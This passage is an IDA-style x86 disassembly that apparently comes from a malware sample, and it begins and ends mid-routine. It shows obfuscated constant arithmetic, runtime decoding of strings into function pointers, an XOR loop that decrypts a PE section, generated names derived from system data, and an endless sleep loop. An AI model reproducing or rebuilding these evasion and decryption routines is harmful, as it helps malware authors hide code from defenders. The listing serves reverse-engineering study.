		mov	ebx, dword_55117C
		add	ebx, 35h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		movsx	ebx, word_551144
		add	ebx, 14h
		imul	ecx, ebx
		mov	ebx, dword_551124
		add	ebx, 37h
		movsx	esi, word_551138
		add	ebx, esi
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, dword_551178
		add	ebx, 15h
		imul	ecx, ebx
		mov	ebx, dword_5511F4
		add	ebx, 0Fh
		imul	ecx, ebx
		mov	ebx, dword_551214
		add	ebx, 39h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, dword_55121C
		add	ebx, 5
		add	ebx, dword_5510A0
		imul	ecx, ebx
		mov	ebx, dword_551184
		lea	eax, [eax+ebx+17h]
		imul	ecx, eax
		movsx	eax, word_551210
		movsx	ebx, word_5510F4
		lea	eax, [eax+ebx+11h]
		imul	ecx, eax
		mov	eax, dword_5510E0
		add	eax, 35h
		movsx	ebx, word_551194
		add	eax, ebx
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_448030, eax
		mov	eax, dword_551134
		add	eax, dword_5511A0
		sub	eax, 9
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43FB03
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E114	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E266	proc near		; DATA XREF: sub_443207+7o
		mov	eax, dword_551154
		add	eax, dword_5511E4
		sub	eax, 0Bh
		push	eax
		call	ds:dword_54E960
		retn
sub_43E266	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E27C	proc near		; DATA XREF: .data:00551300o
		mov	eax, 80004001h
		retn	18h
sub_43E27C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E284	proc near		; CODE XREF: sub_44726D+171p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_5511AC
		add	eax, dword_551154
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43F090
		add	esp, 8
		mov	edi, dword_5511C8
		sub	edi, 8
		jmp	short loc_43E2D7
; ---------------------------------------------------------------------------


loc_43E2BD:				; CODE XREF: sub_43E284+59j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_43E2D6
		movsx	eax, word_551198
		dec	eax
		mov	[ebp+edi+var_FFF], al


loc_43E2D6:				; CODE XREF: sub_43E284+41j
		inc	edi


loc_43E2D7:				; CODE XREF: sub_43E284+37j
		cmp	edi, 0FFFh
		jb	short loc_43E2BD
		lea	esi, [ebp+var_FFF]


loc_43E2E5:				; CODE XREF: sub_43E284+108j
		push	offset byte_552767
		call	sub_43CAF7
		push	offset dword_449FE0
		movsx	ebx, word_5510C4
		sub	ebx, 6
		push	ebx
		mov	ebx, dword_551108
		movsx	edx, word_551194
		add	ebx, edx
		sub	ebx, 9
		push	ebx
		push	eax
		movsx	ebx, word_5510D0
		add	ebx, dword_55124C
		sub	ebx, 0Fh
		push	ebx
		mov	ebx, dword_551224
		add	ebx, dword_5511D8
		sub	ebx, 5
		push	ebx
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_5511D0
		add	ebx, dword_551154
		sub	ebx, 0Dh
		and	ebx, 0FFh
		push	ebx
		call	sub_442B82
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43E35B:				; CODE XREF: sub_43E284+DCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E35B
		movsx	edx, word_551094
		sub	edx, 1
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		movsx	edx, word_551218
		movsx	ecx, word_551128
		add	edx, ecx
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_43E2E5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E284	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E397	proc near		; CODE XREF: sub_43D76D+277p
		push	edi
		push	offset byte_552759
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551258, eax
		mov	eax, dword_551200
		sub	eax, 5
		cmp	dword_551258, eax
		jnz	short loc_43E3D6
		push	offset asc_55274B ; "\n"
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551258, eax


loc_43E3D6:				; CODE XREF: sub_43E397+26j
		push	offset byte_552741
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_4CD934, eax
		push	offset byte_552737
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_44B1A4, eax
		push	offset byte_55272D
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_50E940, eax
		push	offset byte_552725
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_550040, eax
		push	offset byte_55271D
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_48B9F0, eax
		push	offset byte_552713
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_50E924, eax
		push	offset word_55270A
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_4CE8F0, eax
		push	offset dword_552700
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_48B9E0, eax
		push	offset dword_5526F8
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_44901C, eax
		push	offset asc_5526ED ; "\a"
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_44803C, eax
		push	offset word_5526E2
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_50E928, eax
		push	offset word_5526D6
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_4CC21C, eax
		push	offset dword_5526CC
		call	sub_43CAF7
		push	eax
		call	sub_444923
		mov	ds:dword_4CD814, eax
		push	offset word_5526C2
		call	sub_43CAF7
		push	eax
		call	sub_444923
		add	esp, 70h
		mov	ds:dword_44802C, eax
		pop	edi
		retn
sub_43E397	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E501	proc near		; CODE XREF: sub_446250:loc_4467CAp
					; sub_446ED7+349p

var_445		= byte ptr -445h
var_341		= byte ptr -341h
var_23D		= byte ptr -23Dh
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h

		push	ebp
		mov	ebp, esp
		sub	esp, 448h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_341]
		push	eax
		mov	eax, dword_5511AC
		add	eax, dword_5510F0
		sub	eax, 5
		push	eax
		mov	eax, dword_551220
		sub	eax, 2
		push	eax
		push	1Ch
		movsx	eax, word_5510C4
		add	eax, dword_5511C8
		sub	eax, 0Eh
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_44B1A4
		push	offset asc_5526B7 ; "\a"
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_445]
		push	edx
		call	ds:dword_44802C
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_4CC228
		mov	ebx, eax
		mov	eax, dword_551230
		neg	eax
		cmp	ebx, eax
		jz	loc_43E64D
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_442408
		add	esp, 8
		xor	esi, esi
		inc	esi


loc_43E5B2:				; CODE XREF: sub_43E501+E6j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_449FC8
		mov	esi, eax
		or	esi, esi
		jnz	short loc_43E5CF
		push	ebx
		call	ds:dword_44B5BC
		jmp	short loc_43E5E9
; ---------------------------------------------------------------------------


loc_43E5CF:				; CODE XREF: sub_43E501+C3j
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_442408
		add	esp, 8
		or	esi, esi
		jnz	short loc_43E5B2


loc_43E5E9:				; CODE XREF: sub_43E501+CCj
		movsx	eax, word_5511A8
		mov	edx, dword_551174
		sub	edx, 7
		mov	ds:byte_54EB10[eax], dl
		movsx	edi, word_5510A8
		jmp	short loc_43E645
; ---------------------------------------------------------------------------


loc_43E609:				; CODE XREF: sub_43E501+14Aj
		push	offset byte_5526AD
		call	sub_43CAF7
		push	ds:dword_4CE920[edi*4]
		push	ds:dword_48C220[edi*4]
		push	eax
		lea	edx, [ebp+var_23D]
		push	edx
		call	ds:dword_50E928
		lea	eax, [ebp+var_23D]
		push	eax
		push	offset byte_54EB10
		call	ds:dword_44802C
		add	esp, 1Ch
		inc	edi


loc_43E645:				; CODE XREF: sub_43E501+106j
		cmp	edi, dword_5512A4
		jb	short loc_43E609


loc_43E64D:				; CODE XREF: sub_43E501+92j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E652	proc near		; DATA XREF: .data:00551304o

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_551104
		mov	edx, dword_551110
		lea	eax, [eax+edx+0BFh]
		cmp	[ebp+arg_4], eax
		jnz	loc_43E78F
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_5512E8
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		mov	eax, dword_5510E4
		add	eax, dword_5511AC
		sub	eax, 7
		cmp	[ebp+var_4], eax
		jnz	loc_43E78B
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_5512E8
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		movsx	eax, word_5510B4
		add	eax, dword_5511F8
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jnz	loc_43E78B
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_552AA8
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_5510F0
		sub	eax, 3
		cmp	[ebp+var_4], eax
		jnz	short loc_43E782
		lea	eax, off_5512E4
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_5529E8
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_551120
		add	eax, dword_551090
		sub	eax, 0Ch
		cmp	[ebp+var_4], eax
		jnz	short loc_43E770
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_5529E8
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_43F748
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43E770:				; CODE XREF: sub_43E652+F9j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43E782:				; CODE XREF: sub_43E652+BEj
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43E78B:				; CODE XREF: sub_43E652+56j
					; sub_43E652+94j
		xor	eax, eax
		jmp	short loc_43E794
; ---------------------------------------------------------------------------


loc_43E78F:				; CODE XREF: sub_43E652+27j
		mov	eax, 80020003h


loc_43E794:				; CODE XREF: sub_43E652+13Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43E652	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E79B	proc near		; DATA XREF: .data:005512B4o
		mov	eax, 80004001h
		retn	8
sub_43E79B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E7A3	proc near		; CODE XREF: sub_43D76D+272p
		push	offset byte_552697
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_48C214, eax
		push	offset byte_552689
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_48B9EC, eax
		push	offset dword_55267C
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B5BC, eax
		push	offset dword_55266C
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_449FC0, eax
		push	offset byte_55265D
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44800C, eax
		push	offset byte_552647
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CD818, eax
		push	offset dword_552630
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_50E920, eax
		push	offset byte_552623
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B5CC, eax
		push	offset dword_55260C
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_50E934, eax
		push	offset byte_5525F7
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54E94C, eax
		push	offset dword_5525E4
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FB10, eax
		push	offset byte_5525CD
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448010, eax
		push	offset byte_5525C1
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448034, eax
		push	offset dword_5525A8
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CE900, eax
		push	offset byte_55259B
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CC544, eax
		push	offset word_55258A
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FF28, eax
		push	offset word_552572
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54EA78, eax
		push	offset word_55255A
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448014, eax
		push	offset word_55254A
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CE908, eax
		push	offset dword_552538
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CC228, eax
		push	offset byte_55251D
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CD944, eax
		push	offset asc_55250E ; "\v"
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FF2C, eax
		push	offset word_5524FA
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448040, eax
		push	offset word_5524EA
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_48C21C, eax
		push	offset byte_5524DB
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FB1C, eax
		push	offset asc_5524CC ; "\v"
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CE910, eax
		push	(offset	asc_5524BC+2)
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CD938, eax
		push	offset byte_5524AF
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FB18, eax
		push	offset dword_5524A0
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CD810, eax
		push	offset dword_55248C
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B598, eax
		push	offset dword_55247C
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54EA70, eax
		push	offset asc_55246B ; "\r"
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CC430, eax
		push	offset word_55245A
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_449FC8, eax
		push	offset word_552442
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_48B9F8, eax
		push	offset asc_552434 ; "\n"
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54E960, eax
		push	offset byte_552429
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B094, eax
		push	offset dword_552418
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448038, eax
		push	offset dword_552408
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_48C218, eax
		push	offset word_5523F6
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FF30, eax
		push	offset asc_5523E7 ; "\v"
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CD948, eax
		push	offset word_5523D6
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54E964, eax
		push	offset dword_5523C4
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B5A8, eax
		push	offset dword_5523B8
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448000, eax
		push	offset dword_5523A8
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_448044, eax
		push	offset byte_552391
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B5B0, eax
		push	offset byte_552377
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_4CE918, eax
		push	offset word_552362
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_44B088, eax
		push	offset byte_552355
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		mov	ds:dword_54FF1C, eax
		push	offset word_55233E
		call	sub_43CAF7
		push	eax
		call	sub_43F730
		add	esp, 188h
		mov	ds:dword_48B9F4, eax
		retn
sub_43E7A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EBAF	proc near		; CODE XREF: sub_443843+18Bp
					; sub_443843+195p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_5510C8
		add	eax, dword_551140
		sub	eax, 2
		push	eax
		push	dword_551180
		push	[ebp+arg_0]
		movsx	eax, word_5510D0
		add	eax, dword_55123C
		sub	eax, 6
		push	eax
		mov	eax, dword_5511B0
		sub	eax, 7
		push	eax
		call	ds:dword_54FF20
		push	eax
		call	ds:dword_4CD948
		leave
		retn
sub_43EBAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EBF8	proc near		; CODE XREF: sub_446ED7+34p
		push	edi
		push	offset byte_55232F
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551280, eax
		mov	eax, dword_5511E4
		sub	eax, 4
		cmp	dword_551280, eax
		jnz	short loc_43EC37
		push	offset dword_552320
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551280, eax


loc_43EC37:				; CODE XREF: sub_43EBF8+26j
		push	offset word_55230A
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	dword_551280
		call	ds:dword_44B1AC
		mov	ds:dword_448028, eax
		pop	edi
		retn
sub_43EBF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EC56	proc near		; CODE XREF: sub_446ED7+2D3p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi+1]
		mov	edx, dword_551134
		add	edx, 1FEh
		mov	ebx, eax
		imul	ebx, edx
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		mov	ecx, dword_551150
		sub	ecx, 2
		jmp	short loc_43ECA7
; ---------------------------------------------------------------------------


loc_43EC99:				; CODE XREF: sub_43EC56+53j
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_43ECA7:				; CODE XREF: sub_43EC56+41j
		cmp	ecx, ebx
		jb	short loc_43EC99
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EC56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ECB6	proc near		; CODE XREF: sub_443843+43p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_44B5B0
		movsx	eax, word_551128
		mov	edx, dword_551178
		add	edx, dword_5510B0
		sub	edx, 0Eh
		mov	byte ptr [ebp+eax+var_10C+2], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4CE900
		push	offset word_552302
		call	sub_43CAF7
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_50E928
		add	esp, 10h
		movsx	eax, word_551240
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_43ED7F
; ---------------------------------------------------------------------------


loc_43ED50:				; CODE XREF: sub_43ECB6+D4j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_43ED66
		cmp	al, 5Ah
		jg	short loc_43ED66
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_43ED66:				; CODE XREF: sub_43ECB6+A2j
					; sub_43ECB6+A6j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_43ED7C
		cmp	al, 39h
		jg	short loc_43ED7C
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_43ED7C:				; CODE XREF: sub_43ECB6+B8j
					; sub_43ECB6+BCj
		inc	[ebp+var_4]


loc_43ED7F:				; CODE XREF: sub_43ECB6+98j
		mov	eax, dword_551170
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_43ED50
		pop	edi
		leave
		retn
sub_43ECB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ED8F	proc near		; CODE XREF: sub_441052+3DAp
					; sub_441052+438p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		xor	eax, [ebp+arg_8]
		xor	eax, [ebp+arg_C]
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43F3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43ED8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43EDC6	proc near		; DATA XREF: sub_443843+186o
		push	ebp
		mov	ebp, esp


loc_43EDC9:				; CODE XREF: sub_43EDC6+2Dj
		call	sub_43E114
		mov	eax, dword_5511A0
		add	eax, dword_5510E8
		sub	eax, 7
		mov	edx, dword_551140
		add	edx, 0EA5Fh
		imul	eax, edx
		push	eax
		call	ds:dword_50E924
		pop	ecx
		jmp	short loc_43EDC9
sub_43EDC6	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EDF9	proc near		; CODE XREF: sub_44250C+144p
					; sub_443843+108p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_551248
		mov	esi, eax
		add	esi, dword_551188
		sub	esi, 9
		jmp	short loc_43EE49
; ---------------------------------------------------------------------------


loc_43EE14:				; CODE XREF: sub_43EDF9+53j
		call	ds:dword_550040
		mov	edi, dword_5511A0
		add	edi, 53h
		movsx	edx, word_5511A4
		add	edi, edx
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_43EE49:				; CODE XREF: sub_43EDF9+19j
		cmp	esi, [ebp+arg_4]
		jl	short loc_43EE14
		mov	eax, [ebp+arg_4]
		mov	edx, dword_551230
		add	edx, dword_5510EC
		sub	edx, 2
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43EDF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EE6A	proc near		; DATA XREF: sub_446ED7+1A5o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44B5C8
		pop	edi
		pop	ebp
		retn	10h
sub_43EE6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EE88	proc near		; DATA XREF: .data:005512C0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_5511DC
		add	eax, 2
		add	eax, dword_5511C8
		cmp	ds:dword_44B5D0, eax
		jnb	short loc_43EEBC
		mov	eax, dword_5511B4
		sub	eax, 4
		mov	ds:dword_44B5D0, eax


loc_43EEBC:				; CODE XREF: sub_43EE88+25j
		mov	eax, dword_5511C0
		mov	edi, eax
		add	edi, dword_5510E8
		sub	edi, 2
		jmp	short loc_43EEDA
; ---------------------------------------------------------------------------


loc_43EECE:				; CODE XREF: sub_43EE88+64j
		lea	ebx, ds:44A0E0h[edi*4]
		cmp	esi, ebx
		jz	short loc_43EEEE
		inc	edi


loc_43EEDA:				; CODE XREF: sub_43EE88+44j
		mov	eax, dword_5511D4
		add	eax, 3DDh
		add	eax, dword_551158
		cmp	edi, eax
		jb	short loc_43EECE


loc_43EEEE:				; CODE XREF: sub_43EE88+4Fj
		movsx	eax, word_551138
		movsx	edx, word_551164
		lea	eax, [eax+edx+3E4h]
		cmp	edi, eax
		jnz	short loc_43EF0E
		xor	eax, eax
		jmp	loc_43F089
; ---------------------------------------------------------------------------


loc_43EF0E:				; CODE XREF: sub_43EE88+7Dj
		movzx	esi, ds:word_48BA10[edi*2]
		mov	ebx, dword_551214
		add	ebx, dword_5510E4
		sub	ebx, 7
		cmp	esi, ebx
		jnz	short loc_43EF5F
		movzx	eax, ds:byte_44B1B0[edi]
		push	eax
		push	ds:dword_449020[edi*4]
		call	sub_440F1C
		add	esp, 8
		movsx	esi, word_5511F0
		add	esi, dword_5510D8
		sub	esi, 0Ch
		mov	ds:dword_44A0E0[edi*4],	esi
		xor	eax, eax
		jmp	loc_43F089
; ---------------------------------------------------------------------------


loc_43EF5F:				; CODE XREF: sub_43EE88+9Fj
		movzx	esi, ds:word_48BA10[edi*2]
		mov	ebx, dword_5511D0
		add	ebx, 0FFF4h
		add	ebx, dword_5511B4
		cmp	esi, ebx
		jnz	loc_43F06A
		mov	eax, dword_5510E8
		movsx	edx, word_5510CC
		add	eax, edx
		sub	eax, 2
		mov	[ebp+var_4], eax
		jmp	loc_43F053
; ---------------------------------------------------------------------------


loc_43EF9A:				; CODE XREF: sub_43EE88+1D8j
		mov	esi, [ebp+var_4]
		mov	ebx, esi
		shl	ebx, 2
